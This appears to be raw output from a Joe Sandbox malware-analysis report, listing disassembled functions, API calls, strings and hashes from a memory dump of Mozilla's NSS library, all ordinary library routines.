strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F42E4
malloc.MOZGLUE(00000002), ref: 6C6F42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C6F4342
GetStdHandle.KERNEL32(000000F6), ref: 6C6F43AB
GetStdHandle.KERNEL32(000000F5), ref: 6C6F43B2
GetStdHandle.KERNEL32(000000F4), ref: 6C6F43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C6F4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6F4410

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C6F445E
CloseHandle.KERNEL32(?), ref: 6C6F446B
free.MOZGLUE(?), ref: 6C6F4482
free.MOZGLUE(00000000), ref: 6C6F4492
free.MOZGLUE(00000000), ref: 6C6F44A4
GetLastError.KERNEL32 ref: 6C6F44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C6F44BE
free.MOZGLUE(?), ref: 6C6F44C7
free.MOZGLUE(00000000), ref: 6C6F44D5
free.MOZGLUE(00000000), ref: 6C6F44EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6C6F41E9
D, xrefs: 6C6F4396
=, xrefs: 6C6F44F8

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 87c5757a5d564b0e529ef453d699f59de6c7dabdef33e25b552086035bf5b939
Instruction ID: 0e9f983734f04f457f65d5bb95ecd8e88078532da7f230d8533f9623af84f79a
Opcode Fuzzy Hash: 87c5757a5d564b0e529ef453d699f59de6c7dabdef33e25b552086035bf5b939
Instruction Fuzzy Hash: 55020671E053159FEB10CF69C9807BEBBB6AF06309F244128DC79A7B41D7B19806CB99

Function 6C644840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C62601B,?,00000000,?), ref: 6C64486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C6448A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C6448BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C6448DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C6448F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C64490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C644919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C64493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C644970
PORT_Alloc_Util.NSS3(00000001), ref: 6C6449A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C6449AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6449D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C6449F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C644A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C644A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C644A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C644A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C644A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C644A81
free.MOZGLUE(00000000), ref: 6C644AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C644ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C644ADC
free.MOZGLUE(00000000), ref: 6C644B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C644B33

Part of subcall function 6C644120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64413D
Part of subcall function 6C644120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C644162
Part of subcall function 6C644120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64416B
Part of subcall function 6C644120: PL_strncasecmp.NSS3(2Bdl,?,00000001), ref: 6C644187
Part of subcall function 6C644120: NSSUTIL_ArgSkipParameter.NSS3(2Bdl), ref: 6C6441A0
Part of subcall function 6C644120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6441B4
Part of subcall function 6C644120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C6441CC
Part of subcall function 6C644120: NSSUTIL_ArgFetchValue.NSS3(2Bdl,?), ref: 6C644203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C644B53
free.MOZGLUE(00000000), ref: 6C644B94
free.MOZGLUE(?), ref: 6C644BA7
free.MOZGLUE(00000000), ref: 6C644BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C644BC8

Strings

rootFlags, xrefs: 6C644AB9, 6C644B2E
timeout, xrefs: 6C644A38, 6C644A7B
every, xrefs: 6C644A66
hasRootCerts, xrefs: 6C644AD6
hasRootTrust, xrefs: 6C644B4D
askpw, xrefs: 6C644A4A
slotFlags, xrefs: 6C644A22

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: bbb4b6b30c99c307fb76ec427f1061f5fab423fc60f5456af0650b5fc951b9f2
Instruction ID: 6158f6927def803cc767433ffd9abed6cf2eaf7035a17ba146b9fd4790df8d21
Opcode Fuzzy Hash: bbb4b6b30c99c307fb76ec427f1061f5fab423fc60f5456af0650b5fc951b9f2
Instruction Fuzzy Hash: 3CC11570E452558FEB108F689C42BFE7BB8AF06309F18C068EC55A7B41E7B1D914C7A9

Function 6C606D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C70A8EC,0000006C), ref: 6C606DC6
memcpy.VCRUNTIME140(?,6C70A958,0000006C), ref: 6C606DDB
memcpy.VCRUNTIME140(?,6C70A9C4,00000078), ref: 6C606DF1
memcpy.VCRUNTIME140(?,6C70AA3C,0000006C), ref: 6C606E06
memcpy.VCRUNTIME140(?,6C70AAA8,00000060), ref: 6C606E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C606E38

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C606E76
TlsGetValue.KERNEL32 ref: 6C60726F
EnterCriticalSection.KERNEL32(?), ref: 6C607283

Strings

!, xrefs: 6C607123

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 4e7cbbe46990e090a27b9895d4f46e4c40934e1bcfd1ba38c8777eff0ab3ac1b
Instruction ID: 4b94129285c4d1e78383db16a18cfab5b9ea901b2709a9b5e3f18a3c1e01ec14
Opcode Fuzzy Hash: 4e7cbbe46990e090a27b9895d4f46e4c40934e1bcfd1ba38c8777eff0ab3ac1b
Instruction Fuzzy Hash: 8972AFB1E052189FDB24DF28CD8879ABBB1AF49304F1041E9D80DA7741EB31AA85CF95

Function 6C573C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C573C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C573D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C573EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C573ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C573F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C574052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C57406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C57410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C57449C

Strings

%s at line %d of [%.10s], xrefs: 6C574495, 6C5744F9, 6C57459E, 6C574769, 6C574809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C574452, 6C574486, 6C5744EA, 6C574571, 6C574580, 6C57458F, 6C57475A, 6C5747FA
database corruption, xrefs: 6C574490, 6C5744F4, 6C574599, 6C574764, 6C574804

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 3073b981e313071ed46d8038c19bef28a23ab51f4e9ea14d971ff4782b961a26
Instruction ID: 5d3f2866cb014631787bef4b354477784aa9ace19f0daa79e277266ad864890c
Opcode Fuzzy Hash: 3073b981e313071ed46d8038c19bef28a23ab51f4e9ea14d971ff4782b961a26
Instruction Fuzzy Hash: 4382B475A04205CFCB14CF69C980B9E77B2BF49318F2585A9D905ABB51E731EC82CFA1

Function 6C64AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C64ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C64ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C64ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C64AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C64ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C64ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C64ADF0

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C64B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C64B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C64B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C64B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C64B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C64B40C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 6ecd709ba6ad8485ae4fc54ff529ed56d80ee6ec371151ea3f275845191ef145
Instruction ID: 9324e5fbb98f1136fc8067a47b9062d743fb83a778d4a7286a1bd3f9838cc571
Opcode Fuzzy Hash: 6ecd709ba6ad8485ae4fc54ff529ed56d80ee6ec371151ea3f275845191ef145
Instruction Fuzzy Hash: 0322AD71904301AFEB00CF14CC40B9A77E1AF8570CF24C968E9595B7A2E772E859CB9E

Function 6C591F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5925F3

Strings

no such table: %s, xrefs: 6C5926AC
H, xrefs: 6C59329F
cannot join using column %s - column not present in both tables, xrefs: 6C5932AB
too many columns in result set, xrefs: 6C593012
%s.%s.%s, xrefs: 6C59302D
%s.%s, xrefs: 6C592D68
'%s' is not a function, xrefs: 6C592FD2
a NATURAL join may not have an ON or USING clause, xrefs: 6C5932C1
too many references to "%s": max 65535, xrefs: 6C592FB6
H, xrefs: 6C59322D
recursive reference in a subquery: %s, xrefs: 6C5922E5
unsafe use of virtual table "%s", xrefs: 6C5930D1
cannot have both ON and USING clauses in the same join, xrefs: 6C5932B5
no such index: "%s", xrefs: 6C59319D
multiple recursive references: %s, xrefs: 6C5922E0
access to view "%s" prohibited, xrefs: 6C592F4A
no tables specified, xrefs: 6C5926BE
table %s has %d values for %d columns, xrefs: 6C59316C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: abdae81cc9c2779104204c074d7410c2bec4aeda22bb8ff339b462e3bce6290a
Instruction ID: a401200e751cf3561ed6d517c90a293f01f702287009005de5c56bf9b8e120ac
Opcode Fuzzy Hash: abdae81cc9c2779104204c074d7410c2bec4aeda22bb8ff339b462e3bce6290a
Instruction Fuzzy Hash: 92D27F74E04289CFDB04CF95CC94B9DB7B2FF49318F2881A9D859ABB51D731A846CB50

Function 6C5CECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C5CED38

Part of subcall function 6C564F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C564FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C5CEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C5CEFE4

Part of subcall function 6C68DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C565001,?,00000003,00000000), ref: 6C68DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C5CF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C5CF129
sqlite3_mprintf.NSS3(optimize), ref: 6C5CF1D1
sqlite3_free.NSS3(?), ref: 6C5CF368

Strings

matchinfo, xrefs: 6C5CF04F, 6C5CF082, 6C5CF0C2, 6C5CF0F2, 6C5CF124, 6C5CF169
fts3_tokenizer, xrefs: 6C5CEE1A, 6C5CEEA8
fts4, xrefs: 6C5CF2AD
fts3tokenize, xrefs: 6C5CF30F
snippet, xrefs: 6C5CEF05, 6C5CEF37, 6C5CEF7C
offsets, xrefs: 6C5CEFAF, 6C5CEFDF, 6C5CF01F
simple, xrefs: 6C5CED79
unicode61, xrefs: 6C5CEDB5
fts4aux, xrefs: 6C5CECF9
optimize, xrefs: 6C5CF199, 6C5CF1CC, 6C5CF211
porter, xrefs: 6C5CED97
fts3, xrefs: 6C5CF247

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 5c92faadcb8570ab1863fca728f274c817bacf0fee73d1be6bce2705c994b367
Instruction ID: d64ea425ee92c21fb9e0a1c15ac9fb5c7bd5ed67fa6f5048d0b7c00b90931307
Opcode Fuzzy Hash: 5c92faadcb8570ab1863fca728f274c817bacf0fee73d1be6bce2705c994b367
Instruction Fuzzy Hash: 7302C2B1B043009BE704AFB1AC8572B36B5BBC570DF18863DD85A87B51EB74E8468793

Function 6C647C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C647C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C647C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C647D1E

Part of subcall function 6C647870: SECOID_FindOID_Util.NSS3(?,?,?,6C6491C5), ref: 6C64788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C647D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C647D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C647DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C647DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C647DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C647E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C647E58

Part of subcall function 6C647870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6491C5), ref: 6C6478BB
Part of subcall function 6C647870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6491C5), ref: 6C6478FA
Part of subcall function 6C647870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6491C5), ref: 6C647930
Part of subcall function 6C647870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6491C5), ref: 6C647951
Part of subcall function 6C647870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C647964
Part of subcall function 6C647870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C64797A
Part of subcall function 6C647870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C647988
Part of subcall function 6C647870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C647998
Part of subcall function 6C647870: free.MOZGLUE(00000000), ref: 6C6479A7
Part of subcall function 6C647870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6491C5), ref: 6C6479BB
Part of subcall function 6C647870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6491C5), ref: 6C6479CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C647E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C647F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C647F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C647FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C647FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C648038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C648050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C648093
SECOID_FindOID_Util.NSS3 ref: 6C647F29

Part of subcall function 6C6407B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C5E8298,?,?,?,6C5DFCE5,?), ref: 6C6407BF
Part of subcall function 6C6407B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6407E6
Part of subcall function 6C6407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C64081B
Part of subcall function 6C6407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C640825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C648072
SECOID_FindOID_Util.NSS3 ref: 6C6480F5

Part of subcall function 6C64BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C64800A,00000000,?,00000000,?), ref: 6C64BC3F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: b825c8713fca21c00824b22ff13d77f93e88ecec8da985e154fb7828e5e5d5c2
Instruction ID: e1add139017cdb4e6794bd53fb0c6213b360e9294481cf36e6ee288aa58d0dec
Opcode Fuzzy Hash: b825c8713fca21c00824b22ff13d77f93e88ecec8da985e154fb7828e5e5d5c2
Instruction Fuzzy Hash: 36E1A371608300DFD710CF24D840B5A77E5AF89708F14CA6DE99A9BB61E731EC05CB9A

Function 6C5D1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C5D1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C5D1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C5D1CA1
GetLengthSid.ADVAPI32(?), ref: 6C5D1CA9
malloc.MOZGLUE(00000000), ref: 6C5D1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C5D1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C5D1CE4
GetLengthSid.ADVAPI32(?), ref: 6C5D1CEC
malloc.MOZGLUE(00000000), ref: 6C5D1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C5D1D0F
CloseHandle.KERNEL32(?), ref: 6C5D1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C5D1D4D
GetLastError.KERNEL32 ref: 6C5D1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C5D1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C5D1D7A

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 6422a99e1e6645fcd18615fbbd03d6ea024bb071c09d5c6033bf8ecf8068162d
Instruction ID: e1a88134cdbea747f064dd7b5d49dc6d20492d8810385e775341fc97b0169ef8
